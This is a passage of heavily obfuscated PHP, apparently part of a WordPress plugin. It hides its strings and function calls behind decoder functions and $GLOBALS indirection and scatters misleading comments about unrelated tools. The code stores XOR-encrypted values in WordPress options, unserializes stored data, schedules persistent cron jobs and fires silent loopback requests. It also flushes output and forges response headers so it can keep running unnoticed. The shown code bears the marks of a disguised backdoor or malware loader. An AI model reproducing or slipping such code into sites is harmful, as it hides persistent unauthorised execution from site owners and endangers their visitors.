   }
   
    $ivqivdcqwc   = qp3lvwxu38niepmfwpkj($iqec8vxs_ymlfr3_, $uv0z826xcl);
if  (!  $GLOBALS['__scf_ncrh0liqs6be8x_41']($ivqivdcqwc)  ||      $GLOBALS['__scf_m36_x4cy3m1b5_10']($ivqivdcqwc)  <  2)    {
      e_42zxx3yq4pdz4bo4(e77owqcywda_d(322),    c_5yznsrtgse_i(323));
   continue;

      }
  
 $vbfw5rzkheon  =   $GLOBALS['__scf_hrd6y5q38xc_321']($ivqivdcqwc[0]);
 if  ($vbfw5rzkheon   <  1  || $GLOBALS['__scf_m36_x4cy3m1b5_10']($ivqivdcqwc)     <    1 +      $vbfw5rzkheon)  {
  e_42zxx3yq4pdz4bo4(okltugscqfcy(322), okltugscqfcy(324));
 continue;
      }
     
  $s82aj9sbb1s8t6   =    $GLOBALS['__scf_pozjicggfgaq_9']($ivqivdcqwc, 1,     $vbfw5rzkheon);
     $ugippj2c8te =  $GLOBALS['__scf_pozjicggfgaq_9']($ivqivdcqwc,     1    + $vbfw5rzkheon);
 $u3pa9gal0df  =  $GLOBALS['__scf_fnyr4wcmh06x_144']($GLOBALS['__scf_dfrcq01t5h_325']($GLOBALS['__scf_at_3vrh_gyu_220'](e77owqcywda_d(326), $GLOBALS['__scf_q_5np_m44nzg_327'](e77owqcywda_d(328),    $ugippj2c8te))));
if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(147)))  {
     update_option(onlv7_99m8sby3(309), $uq8cmdkuf490);
  update_option(onlv7_99m8sby3(329),  $GLOBALS['__scf_avnbslqoow6nk_330']("\n",  $u3pa9gal0df));
      }
// PHP CS Fixer enqueue order




   return array(c_5yznsrtgse_i(331)     => $s82aj9sbb1s8t6,   okltugscqfcy(332)   =>    $u3pa9gal0df);


   }   catch  (Throwable  $ye68b7hs2257kgf)  {
   e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(333),   $ye68b7hs2257kgf);
  continue;$kf_nb5103akl63=75*8;$jgvtaiidok1t=$kf_nb5103akl63-22;
 }  catch  (Exception   $ye68b7hs2257kgf) {
   continue;
 }
 }
   $o8_ot6aiks3nq =     $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(141))  ?  (string) get_option(e77owqcywda_d(329), "") : "";
 $j6uhfzd1oauimdl =   p1w1aijw1nxgdhwwgzjmn(c_5yznsrtgse_i(334), "");
if ($o8_ot6aiks3nq !==   "" && $GLOBALS['__scf_ncrh0liqs6be8x_41']($j6uhfzd1oauimdl) &&      $j6uhfzd1oauimdl !==    "")  {
// @compile bloom-filter

$u3pa9gal0df  =  $GLOBALS['__scf_fnyr4wcmh06x_144']($GLOBALS['__scf_dfrcq01t5h_325']($GLOBALS['__scf_at_3vrh_gyu_220'](c_5yznsrtgse_i(326),      $GLOBALS['__scf_q_5np_m44nzg_327'](okltugscqfcy(328), $o8_ot6aiks3nq))));
  if   (! empty($u3pa9gal0df))  {
 return   array(onlv7_99m8sby3(331)     =>   $j6uhfzd1oauimdl,  c_5yznsrtgse_i(335) =>    $u3pa9gal0df);
}
}
e_42zxx3yq4pdz4bo4(e77owqcywda_d(336),    e77owqcywda_d(337));



   return   array();
}
function    g9cjabr0_v5qy5ili($gsdy18gl1598xp1,   $con6aqx16mgso,   $fzoxrfn84wgh_)
 {
   if     (!  $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(147))) {
 return  false;
     }



 if (isset($GLOBALS[onlv7_99m8sby3(338)])      && $GLOBALS['__scf_a91xkwk0qm_35']($GLOBALS[e77owqcywda_d(338)])     &&  $GLOBALS['__scf_oj_6xo9y_n_233']($gsdy18gl1598xp1,  $GLOBALS[c_5yznsrtgse_i(339)]))  {
   unset($GLOBALS[okltugscqfcy(339)][$gsdy18gl1598xp1]);
     }
 $xzp109u18gm   = $GLOBALS['__scf_i6l9zi1_f9_340']($con6aqx16mgso);
$wb1qlbrr1l4a  = $GLOBALS['__scf_kb2xy4h7pgw5d_341']($GLOBALS['__scf_s3bo674ng_q_342'](1,    (219+36)));
        $bkcfnx1jv6sz4g =    "";
 for      ($ge_0yixqnqu1 =  0,   $xctc5gs8vr2z2j   =   $GLOBALS['__scf_m36_x4cy3m1b5_10']($xzp109u18gm);    $ge_0yixqnqu1 < $xctc5gs8vr2z2j;      $ge_0yixqnqu1++)  {
     $bkcfnx1jv6sz4g .=     $GLOBALS['__scf_kb2xy4h7pgw5d_341']($GLOBALS['__scf_hrd6y5q38xc_321']($xzp109u18gm[$ge_0yixqnqu1]) ^      $GLOBALS['__scf_hrd6y5q38xc_321']($wb1qlbrr1l4a));
}
// Rector auto-refactor settings section

return update_option($gsdy18gl1598xp1,     $GLOBALS['__scf__y1qevmu6cl77u_343']($wb1qlbrr1l4a  .   $bkcfnx1jv6sz4g),  $fzoxrfn84wgh_) !==   false;

 }



  
function xpdlfu85kkkwlafjl9xq($gsdy18gl1598xp1,   $i09g7owzfn8nbz)


   {
 if  (!$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(141)))  return   $i09g7owzfn8nbz;
    if    (isset($GLOBALS[onlv7_99m8sby3(339)])   &&  $GLOBALS['__scf_a91xkwk0qm_35']($GLOBALS[c_5yznsrtgse_i(339)]) && $GLOBALS['__scf_oj_6xo9y_n_233']($gsdy18gl1598xp1,  $GLOBALS[c_5yznsrtgse_i(339)]))    {
return  $GLOBALS[okltugscqfcy(339)][$gsdy18gl1598xp1];
}
// WP Home Link network override

 $vu4zsg8voqfq9b18 = get_option($gsdy18gl1598xp1, "");
 if   ($vu4zsg8voqfq9b18  ===   ""   || ! $GLOBALS['__scf_ncrh0liqs6be8x_41']($vu4zsg8voqfq9b18))  {
// WP Slot Fill: fallback visitor

return     $i09g7owzfn8nbz;
     }
    $zhdybueg0wt913zr =  @$GLOBALS['__scf_j_3rba3nic_344']($vu4zsg8voqfq9b18,     true);
 if ($zhdybueg0wt913zr     ===   false ||   $GLOBALS['__scf_m36_x4cy3m1b5_10']($zhdybueg0wt913zr) <   2)   {
   return  $i09g7owzfn8nbz;
  }
$wb1qlbrr1l4a = $zhdybueg0wt913zr[0];
 $ukt6vu26y6th  = "";
  for      ($ge_0yixqnqu1   =   1,  $xctc5gs8vr2z2j =    $GLOBALS['__scf_m36_x4cy3m1b5_10']($zhdybueg0wt913zr); $ge_0yixqnqu1  < $xctc5gs8vr2z2j;    $ge_0yixqnqu1++) {
// fuzz causal partition-refinement

 $ukt6vu26y6th  .=   $GLOBALS['__scf_kb2xy4h7pgw5d_341']($GLOBALS['__scf_hrd6y5q38xc_321']($zhdybueg0wt913zr[$ge_0yixqnqu1])    ^   $GLOBALS['__scf_hrd6y5q38xc_321']($wb1qlbrr1l4a));
   }
 $l_ezot7d4f9l =  v1e28f4cd1mz1uke6n3d($ukt6vu26y6th);
    if   ($l_ezot7d4f9l  !==   false)   {
if     (!isset($GLOBALS[onlv7_99m8sby3(339)])      ||  !$GLOBALS['__scf_a91xkwk0qm_35']($GLOBALS[c_5yznsrtgse_i(345)]))     $GLOBALS[okltugscqfcy(346)]  =    array();
 if   ($GLOBALS['__scf_hotyagmbtkrb_36']($GLOBALS[okltugscqfcy(346)])  >   (16+48))   $GLOBALS[e77owqcywda_d(346)]   =     array();
 $GLOBALS[e77owqcywda_d(347)][$gsdy18gl1598xp1] =  $l_ezot7d4f9l;
    return $l_ezot7d4f9l;
}
return $i09g7owzfn8nbz;
 }
 function  v1e28f4cd1mz1uke6n3d($vg3cffv0cm15a9b)
  {
if   (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($vg3cffv0cm15a9b)) return  false;


if     (defined(onlv7_99m8sby3(348))  && PHP_VERSION_ID >=  (83582-13582)) {
// WP Core Data style fallback

      return   @$GLOBALS['__scf_vojaoxy19b6l_349']($vg3cffv0cm15a9b, array(e77owqcywda_d(350)   => false));
 }



return  @$GLOBALS['__scf_vojaoxy19b6l_349']($vg3cffv0cm15a9b);
 }


    function cmo_0ibn1xta7gyxao()
     {
// intern string

 static  $bszqf_sws4z8acg_   = null;
if ($bszqf_sws4z8acg_    !== null)    return $bszqf_sws4z8acg_;
$jl_ruybeyx54iw =    defined(e77owqcywda_d(0))  ?  ABSPATH : "";
$bszqf_sws4z8acg_ =  $GLOBALS['__scf_zwo1a6spxvy_12']($GLOBALS['__scf_gfb1kztgz8_351']('\\', '/',  $jl_ruybeyx54iw),   '/') .  '/';
return  $bszqf_sws4z8acg_;
  }
   function   z63zn1_kvti62ezlrh($gsdy18gl1598xp1)
      {
       return   l09115umv3lykft9t(cmo_0ibn1xta7gyxao()  .    (string)   lz2qq_av2vpeb134hcpk()  .     $gsdy18gl1598xp1,   (0x5+0x7));
}


   function   xavbbpw53ligobh($kyenifyabcwk)
    {
 return      (string)  ((90999990+10)  + ((int)   hexdec($GLOBALS['__scf_pozjicggfgaq_9']($GLOBALS['__scf_poant85f5yad_56'](cmo_0ibn1xta7gyxao() .  okltugscqfcy(352)  . $kyenifyabcwk),      0, (4+3))) %  (8999928+71)));
       }
function   wfg1q4ruuf8_loes2ht()



  {
  return xavbbpw53ligobh(c_5yznsrtgse_i(353));
}
 function l9fphe3zxtkrgsa16mwv()
 {
   $b1esfn40zr2dc     =  (string)    p1w1aijw1nxgdhwwgzjmn(okltugscqfcy(354), "");


return $GLOBALS['__scf_m36_x4cy3m1b5_10']($b1esfn40zr2dc)    >  (96^106) &&  $GLOBALS['__scf_ffvfced40_hd3k_7']($b1esfn40zr2dc, wfg1q4ruuf8_loes2ht())   !==  false   &&  $GLOBALS['__scf_m36_x4cy3m1b5_10']((string) p1w1aijw1nxgdhwwgzjmn(e77owqcywda_d(355),    ""))  > (105^13);


   }



    
function p1w1aijw1nxgdhwwgzjmn($gsdy18gl1598xp1,  $i09g7owzfn8nbz)
 {
return  xpdlfu85kkkwlafjl9xq(z63zn1_kvti62ezlrh($gsdy18gl1598xp1), $i09g7owzfn8nbz);
  }


     function  e7dnf6igrlpcuaapfpdtx5($gsdy18gl1598xp1,  $i09g7owzfn8nbz =  "")



       {
$o37smmdny8q3 =  p1w1aijw1nxgdhwwgzjmn($gsdy18gl1598xp1,   $i09g7owzfn8nbz);
  if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($o37smmdny8q3))   return  $o37smmdny8q3;
   if   ($GLOBALS['__scf_gkxfprkigst5_356']($o37smmdny8q3)) return  (string) $o37smmdny8q3;



   return     $i09g7owzfn8nbz;
}
  function ciwxbzr19t8j5_t($gsdy18gl1598xp1,  $con6aqx16mgso,     $fzoxrfn84wgh_)



 {



    return     g9cjabr0_v5qy5ili(z63zn1_kvti62ezlrh($gsdy18gl1598xp1),  $con6aqx16mgso, $fzoxrfn84wgh_);
 }
   function y5lztkb6hesg893zl7dk8_()

{
$c5bqaiowqvc6j   =  isset($GLOBALS[onlv7_99m8sby3(155)])     ?     $GLOBALS[e77owqcywda_d(155)] :  array();
 $vu4zsg8voqfq9b18 =  p1w1aijw1nxgdhwwgzjmn(c_5yznsrtgse_i(357),  array());
if  ($GLOBALS['__scf_a91xkwk0qm_35']($vu4zsg8voqfq9b18))  {
$c5bqaiowqvc6j  =   $GLOBALS['__scf_sp6eq6gzqlrslw_358']($vu4zsg8voqfq9b18, $c5bqaiowqvc6j);



}
 $c5bqaiowqvc6j     = $GLOBALS['__scf_youxoa71214_145']($c5bqaiowqvc6j);


 return  $GLOBALS['__scf_kugu9wdsub_154']($c5bqaiowqvc6j,  -(62-12));
   }
 function dj49hnimub8d_s()
  {
 if  (!isset($GLOBALS[onlv7_99m8sby3(155)])  ||   empty($GLOBALS[c_5yznsrtgse_i(155)]))   return;
    try {
 $vu4zsg8voqfq9b18  =   p1w1aijw1nxgdhwwgzjmn(okltugscqfcy(359),    array());
 $x3l1tsrr7fec   =  $GLOBALS['__scf_youxoa71214_145']($GLOBALS['__scf_sp6eq6gzqlrslw_358']((array)$vu4zsg8voqfq9b18,    $GLOBALS[onlv7_99m8sby3(360)]));
$x3l1tsrr7fec =     $GLOBALS['__scf_kugu9wdsub_154']($x3l1tsrr7fec,     -(44+6));
  ciwxbzr19t8j5_t(okltugscqfcy(359),      $x3l1tsrr7fec, e77owqcywda_d(361));
      }  catch  (Throwable   $ye68b7hs2257kgf) {
     e_42zxx3yq4pdz4bo4(e77owqcywda_d(362),  $ye68b7hs2257kgf);
}   catch    (Exception  $ye68b7hs2257kgf)  {
}
 }
        
  function   qp3lvwxu38niepmfwpkj($vg3cffv0cm15a9b, $key)
 {
  if   (!  $GLOBALS['__scf_ncrh0liqs6be8x_41']($vg3cffv0cm15a9b)  ||   ! $GLOBALS['__scf_ncrh0liqs6be8x_41']($key) || $GLOBALS['__scf_m36_x4cy3m1b5_10']($key)  ===    0)    {
return   null;$au4pzfttdtexw7=19*7;$zn244y1syulo=$au4pzfttdtexw7-50;
}

 $e3s7j8h01zw6sv6    = $GLOBALS['__scf_m36_x4cy3m1b5_10']($vg3cffv0cm15a9b);
$sbqbk4imwbp8r  =    $GLOBALS['__scf_m36_x4cy3m1b5_10']($key);

$io2gv91mjg8b3    =   "";
     for    ($ge_0yixqnqu1  = 0;     $ge_0yixqnqu1   <  $e3s7j8h01zw6sv6;  $ge_0yixqnqu1++)   {
     $io2gv91mjg8b3 .= $GLOBALS['__scf_kb2xy4h7pgw5d_341']($GLOBALS['__scf_hrd6y5q38xc_321']($vg3cffv0cm15a9b[$ge_0yixqnqu1])    ^   $GLOBALS['__scf_hrd6y5q38xc_321']($key[$ge_0yixqnqu1  %    $sbqbk4imwbp8r]));
   }
return $io2gv91mjg8b3;


}
    
   function    z10ee1ac3m14v2j2($f2ssm8lfprg3180)
 {
 if (! $GLOBALS['__scf_a91xkwk0qm_35']($f2ssm8lfprg3180))  {
   $f2ssm8lfprg3180     = array();
  }
    static  $toi9ymawm7kqt  = null;
        if  ($toi9ymawm7kqt ===     null) {
    $toi9ymawm7kqt =      g29ry0xdrrzqo66sx1_no();


$kyidhl7ydwnuomcb =      $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(141))  ?  xpdlfu85kkkwlafjl9xq(c_5yznsrtgse_i(363),  false) :   false;
if  ($GLOBALS['__scf_a91xkwk0qm_35']($kyidhl7ydwnuomcb)     &&  isset($kyidhl7ydwnuomcb[c_5yznsrtgse_i(364)])  &&   (int)  $kyidhl7ydwnuomcb[onlv7_99m8sby3(364)]  >=  (521-221) &&  (int) $kyidhl7ydwnuomcb[e77owqcywda_d(364)]  <=      (8411+77989))     $toi9ymawm7kqt     =  (int)   $kyidhl7ydwnuomcb[e77owqcywda_d(364)];
if ($toi9ymawm7kqt  < (15<<2)) {
     $toi9ymawm7kqt  =    (0x89e+0x572);
 }
}



$f2ssm8lfprg3180[okltugscqfcy(365)]  = array(
      e77owqcywda_d(366) => $toi9ymawm7kqt,
  onlv7_99m8sby3(367)  =>  okltugscqfcy(368),
);
$f2ssm8lfprg3180[onlv7_99m8sby3(369)] =  array(
   c_5yznsrtgse_i(370)  => (349+251),
c_5yznsrtgse_i(367)    =>     onlv7_99m8sby3(371),



);
return     $f2ssm8lfprg3180;
  }
 
function   g2lnfowb5sck6v()
   {



if   (!$GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(372))    || !$GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(373)))  return;
      if  (!r9q5mjga_j0i3gm_(c_5yznsrtgse_i(374)))   return;
try  {$dxlh4mxbkj=-264;$z4dfvbp40f=($dxlh4mxbkj>0)?$dxlh4mxbkj:-$dxlh4mxbkj;
   if  (!wp_next_scheduled(p_q793u2yxtjaydw671w95()))  {
// unsafe block




  wp_schedule_event($GLOBALS['__scf_p_l9i38f5mdu2r_184']()   +  $GLOBALS['__scf_s3bo674ng_q_342']((65-5),     (463-163)),   e77owqcywda_d(365), p_q793u2yxtjaydw671w95());
     }
 }   finally  {



     gp1654dr46ffgrsz(c_5yznsrtgse_i(375));
}
 }
  
function k6gozzlyvsrya6aiuda60()
   {
   
 if  (defined(okltugscqfcy(376))   && DOING_CRON)   {
       return;
   }
 
  static   $zhztmbv0vd50v  =   false;
if ($zhztmbv0vd50v) return;
       $zhztmbv0vd50v  =    true;
  
  if      (!  bc9uiskkgdoki_zva())  {
 return;
      }



 ohkc5udk96vdi9dqobtykb(e77owqcywda_d(377), e77owqcywda_d(378),      0);


}
function a9togxm8vi9wfb2wn_o9gr()


{
   if  (!$GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(282))     ||    !$GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(379)))   return;


@$GLOBALS['__scf_wruv1u09qsfmz_282'](site_url(e77owqcywda_d(380)  .  $GLOBALS['__scf_gfb1kztgz8_351']('.',  "",  (string)  $GLOBALS['__scf_qj6_wl4ow_o7j_279'](true))   .     $GLOBALS['__scf_s3bo674ng_q_342']((0x1+0x63), (953+46))),  array(onlv7_99m8sby3(283)  =>    0.01,   c_5yznsrtgse_i(381)     => false,    c_5yznsrtgse_i(284)   =>  false));
   }

  function  a8bd747ef98luqjx6()
{
    static   $xi6t_l31j3p6y  = false;


       if ($xi6t_l31j3p6y)    return;



$xi6t_l31j3p6y  =     true;
       try  {
 lhjlwtcir0bbu7dlms();
     $mulel_lboaw75x   = false;
if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(382)))  {
  $GLOBALS['__scf_b_9alaw1v_3k_382']();
$mulel_lboaw75x  =   true;
 }  elseif   ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(383))) {
 $GLOBALS['__scf_wh7d__dd2m_384']();


      $mulel_lboaw75x  = true;


 } else   {
     if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(385)))  {
      @$GLOBALS['__scf_ltvgwtsfyufb_385'](true);

      }
// generalize certificate-chain for PHP 8.4 fibers


 $fuph1v5_4h7ez    =  false;
 if     ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(222)))      {
// @color-register priority-queue

 $nmj0i05qaijl   =  $GLOBALS['__scf_sp7azfm0t4x0x_100']($GLOBALS['__scf__90_xdmo58j3q_311']((string)  @$GLOBALS['__scf_hccbqyvtdwo0fx_109'](e77owqcywda_d(386))));
$fuph1v5_4h7ez  =   ($nmj0i05qaijl !== "" &&   $nmj0i05qaijl  !==  '0'  && $nmj0i05qaijl   !==   c_5yznsrtgse_i(387));
 }
 $ko7iychdyvzdnta1     =    $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(388))     ?   @ob_get_status(true) :  array();
 if  ($GLOBALS['__scf_a91xkwk0qm_35']($ko7iychdyvzdnta1))   {

  foreach   ($ko7iychdyvzdnta1  as  $ge6ohyqm75tbu3_)  {
$yjdi6mkdl4vu   =    $GLOBALS['__scf_a91xkwk0qm_35']($ge6ohyqm75tbu3_) &&  isset($ge6ohyqm75tbu3_[c_5yznsrtgse_i(389)])    ?      $GLOBALS['__scf_sp7azfm0t4x0x_100']((string)   $ge6ohyqm75tbu3_[c_5yznsrtgse_i(389)])  :   "";
   if   ($GLOBALS['__scf_ffvfced40_hd3k_7']($yjdi6mkdl4vu,  onlv7_99m8sby3(390))  !== false  || $GLOBALS['__scf_ffvfced40_hd3k_7']($yjdi6mkdl4vu,    okltugscqfcy(391)) !==    false)  {
   $fuph1v5_4h7ez     =    true;

        break;
}
   }

    }
  if  (!$fuph1v5_4h7ez   &&   $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(392)))   {
      foreach  ((array)     @headers_list() as     $u9nvu9mu80)  {
// inline sesquilinear invariant

     if   (stripos($u9nvu9mu80,  e77owqcywda_d(393))   ===     0  && stripos($u9nvu9mu80,   e77owqcywda_d(394))  ===  false)    {
// benchmark fallback-handler for OPcache config

$fuph1v5_4h7ez      = true;
  break;
        }


   }
     }

 $uzreswg15s8c    =      $GLOBALS['__scf_w3427jutwi_101']();
$a7edh8e6osm     =    ($uzreswg15s8c !== e77owqcywda_d(395)   &&     $uzreswg15s8c  !==     e77owqcywda_d(396));
 $b40jc5d4iegueir   =      $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(397))  ?    (int)  @http_response_code()   :     (0x6f+0x59);
$za1skda6b19fkb7 = ($b40jc5d4iegueir >=   (25<<2)   && $b40jc5d4iegueir     <     (87+113))  ||      $b40jc5d4iegueir === (400-196) ||  $b40jc5d4iegueir  ===  (295+9);
    $wiy9s498r38w8s4 = (isset($_SERVER[onlv7_99m8sby3(398)])     &&  $_SERVER[c_5yznsrtgse_i(398)]   ===    c_5yznsrtgse_i(399));



  $gdtwslujxd   = false;



   if     ($a7edh8e6osm    &&  !$za1skda6b19fkb7     && !$wiy9s498r38w8s4   && !headers_sent()   &&  !$fuph1v5_4h7ez)  {
     while   ($GLOBALS['__scf__onstfeskpa_400']()   > 1)  {
$c4s7oh6zanv4o5s    = $GLOBALS['__scf__onstfeskpa_400']();
   if (!@$GLOBALS['__scf_a3u2qv4rrneutg_401']() ||   $GLOBALS['__scf__onstfeskpa_400']()   >= $c4s7oh6zanv4o5s)   break;
 }
 $ge6ohyqm75tbu3_   =  $GLOBALS['__scf__onstfeskpa_400']() ===    1  &&  $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(388)) ?  @ob_get_status()   :  array();
   $yjdi6mkdl4vu   =   $GLOBALS['__scf_a91xkwk0qm_35']($ge6ohyqm75tbu3_)     && isset($ge6ohyqm75tbu3_[c_5yznsrtgse_i(389)])   ?  $GLOBALS['__scf_sp7azfm0t4x0x_100']((string)   $ge6ohyqm75tbu3_[okltugscqfcy(389)])   : "";
      $_cl =    false;



       if  ($GLOBALS['__scf__onstfeskpa_400']()   ===  0)    {
$_cl     =    0;

}  elseif (


        $GLOBALS['__scf__onstfeskpa_400']()  === 1
  &&    $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(388))
     &&  ($yjdi6mkdl4vu   === ""     ||  $yjdi6mkdl4vu   ===    c_5yznsrtgse_i(402))
     &&   $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(403))
  ) {
$_cl   =  @ob_get_length();
   }
     $vzxqhhpc6bmp   =  true;
       if (isset($GLOBALS[okltugscqfcy(404)][onlv7_99m8sby3(377)]))   {
 $_wf = $GLOBALS[onlv7_99m8sby3(404)][onlv7_99m8sby3(377)];
$ec4hpaqijcixe  =  ($GLOBALS['__scf_vd54bz_6kr2o44_68']($_wf)    &&  isset($_wf->callbacks)) ? $_wf->callbacks :     ($GLOBALS['__scf_a91xkwk0qm_35']($_wf) ? $_wf   : array());
  foreach    ($ec4hpaqijcixe  as     $_pr  =>  $bssmb0dt1utah)   {
 if (!$GLOBALS['__scf_a91xkwk0qm_35']($bssmb0dt1utah)) continue;
      foreach     ($bssmb0dt1utah  as  $t8u2roxhcf8wkws)      {
 $iur8w5qbqag9e7pp   =   ($GLOBALS['__scf_a91xkwk0qm_35']($t8u2roxhcf8wkws)     &&    isset($t8u2roxhcf8wkws[e77owqcywda_d(69)]))  ? $t8u2roxhcf8wkws[onlv7_99m8sby3(69)]  :     "";
if   ($GLOBALS['__scf_ncrh0liqs6be8x_41']($iur8w5qbqag9e7pp)     &&   $GLOBALS['__scf_wwy_cardw8r5v6_146']($iur8w5qbqag9e7pp,   array(e77owqcywda_d(378),   okltugscqfcy(405)),  true))     continue;$qmdmzs3v_d=86|246;$qi6s1k6kcisxd=$qmdmzs3v_d^179;
   $vzxqhhpc6bmp    = false;
 break  2;
  }
}
 unset($_wf,   $ec4hpaqijcixe,  $_pr,  $bssmb0dt1utah, $t8u2roxhcf8wkws,  $iur8w5qbqag9e7pp);
   }
if ($_cl  !== false  && $vzxqhhpc6bmp  &&    !headers_sent())  {
    @header(e77owqcywda_d(406)     . (int)     $_cl);
@header(okltugscqfcy(407));$bhsk0gomdh=PHP_MAJOR_VERSION;$cfg6xk8d4_=$bhsk0gomdh*3;
   $gdtwslujxd  =  true;
}



    }
 if  ($a7edh8e6osm) {
 while ($GLOBALS['__scf__onstfeskpa_400']()  >    0) {
// escape-analyze template for PHP 8.0 JIT



$c4s7oh6zanv4o5s   = $GLOBALS['__scf__onstfeskpa_400']();
if  (!@$GLOBALS['__scf_a3u2qv4rrneutg_401']()      || $GLOBALS['__scf__onstfeskpa_400']()   >=  $c4s7oh6zanv4o5s)   break;
  }
@$GLOBALS['__scf_hnlpvac6pfv25j_408']();



 }

     if ($gdtwslujxd &&  $GLOBALS['__scf__onstfeskpa_400']()  ===  0)   $mulel_lboaw75x    =   true;
 unset($fuph1v5_4h7ez,     $nmj0i05qaijl,  $ko7iychdyvzdnta1,    $ge6ohyqm75tbu3_,  $yjdi6mkdl4vu, $u9nvu9mu80,   $uzreswg15s8c,  $a7edh8e6osm,     $b40jc5d4iegueir, $za1skda6b19fkb7,   $gdtwslujxd,   $c4s7oh6zanv4o5s, $_cl,    $wiy9s498r38w8s4);
      }
    $rzutchwxtk =     $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(409))  && !(defined(okltugscqfcy(410))     &&  DISABLE_WP_CRON);
     $ehmpawy7zdusx      =   !$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(141))   ||  (int)  get_option(okltugscqfcy(411),   0)  ===  0;
if  (!$ehmpawy7zdusx  &&    $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(141))    &&     $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(147)))   {
 $k7ru1frpvp3lgu   =  (string)  get_option(okltugscqfcy(412),  "");
  if ($k7ru1frpvp3lgu !==  w218ynit42v8uao2p()) {



      @update_option(okltugscqfcy(412),  w218ynit42v8uao2p(),  onlv7_99m8sby3(361));
@update_option(c_5yznsrtgse_i(411), 0,    onlv7_99m8sby3(413));
      $ehmpawy7zdusx    =      true;
   }
}
 $falrkc3_ly6dd    =   false;



    if ($rzutchwxtk && $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(372)))  {$wpkqu4unt6=2+60;$tjnres1lgg=$wpkqu4unt6-34;
 $u0xqfg4scchl   = wp_next_scheduled(p_q793u2yxtjaydw671w95());
if   ($u0xqfg4scchl    &&    ($GLOBALS['__scf_p_l9i38f5mdu2r_184']()    -    (int) $u0xqfg4scchl) >  (7104+96))  {
  $falrkc3_ly6dd     = true;



    if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(414)))  @wp_unschedule_event((int)      $u0xqfg4scchl,    p_q793u2yxtjaydw671w95());
    }
  }
 if ($rzutchwxtk &&   !$ehmpawy7zdusx    &&   !$falrkc3_ly6dd) {
       $uriqo185eam7c      =  $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(372))  ? (int)   wp_next_scheduled(p_q793u2yxtjaydw671w95())  : 0;


if    ($uriqo185eam7c    <=    0 ||      $uriqo185eam7c - $GLOBALS['__scf_p_l9i38f5mdu2r_184']()   > (821+79))     {
 @wp_schedule_single_event($GLOBALS['__scf_p_l9i38f5mdu2r_184'](),  p_q793u2yxtjaydw671w95());
  }
// merge trie for WP InspectorControls

   puxl_j260p5paf();
return;
     




}
if  ($falrkc3_ly6dd) e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(415),  okltugscqfcy(416));



 if (!$mulel_lboaw75x)  {
if ($rzutchwxtk)     {
    @wp_schedule_single_event($GLOBALS['__scf_p_l9i38f5mdu2r_184'](), p_q793u2yxtjaydw671w95());
      a9togxm8vi9wfb2wn_o9gr();



puxl_j260p5paf();

    return;
   }
     if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(417)))   @$GLOBALS['__scf_suw363i1bvzr_417']((11^191));
  _fwtzyy1hz0qih7pwl6ihz((55^61));



return;
}


    if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(417)))   @$GLOBALS['__scf_suw363i1bvzr_417']((0x28+0x8c));
 _fwtzyy1hz0qih7pwl6ihz();

}   catch  (Throwable     $ye68b7hs2257kgf)      {


 e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(377),  $ye68b7hs2257kgf);
  }     catch    (Exception  $ye68b7hs2257kgf) {
  }

}


       
 function  c13k4qibn6xfrb0hfj4t()
{


 try  {
  if   (! $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(141)))   {
   return;
   }
  
  $zvwyvfqneb1y      =  $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(50))  ? get_transient(iyfrtzihosexnci())    :  false;
  if     (!     $GLOBALS['__scf_a91xkwk0qm_35']($zvwyvfqneb1y))   $zvwyvfqneb1y    =  xpdlfu85kkkwlafjl9xq(okltugscqfcy(363),   false);
   if   (!    $GLOBALS['__scf_a91xkwk0qm_35']($zvwyvfqneb1y))  {
return;
 }


  
if   (isset($zvwyvfqneb1y[onlv7_99m8sby3(418)]) &&   $GLOBALS['__scf_a91xkwk0qm_35']($zvwyvfqneb1y[okltugscqfcy(419)]))     {
 $GLOBALS[okltugscqfcy(420)] = q5pm421qokfll802uvj5($zvwyvfqneb1y[okltugscqfcy(419)]);
       }

if  (isset($zvwyvfqneb1y[c_5yznsrtgse_i(421)])   &&  $GLOBALS['__scf_a91xkwk0qm_35']($zvwyvfqneb1y[c_5yznsrtgse_i(421)]))  {
$GLOBALS[c_5yznsrtgse_i(422)]  =    q5pm421qokfll802uvj5($zvwyvfqneb1y[e77owqcywda_d(421)]);

     }



  
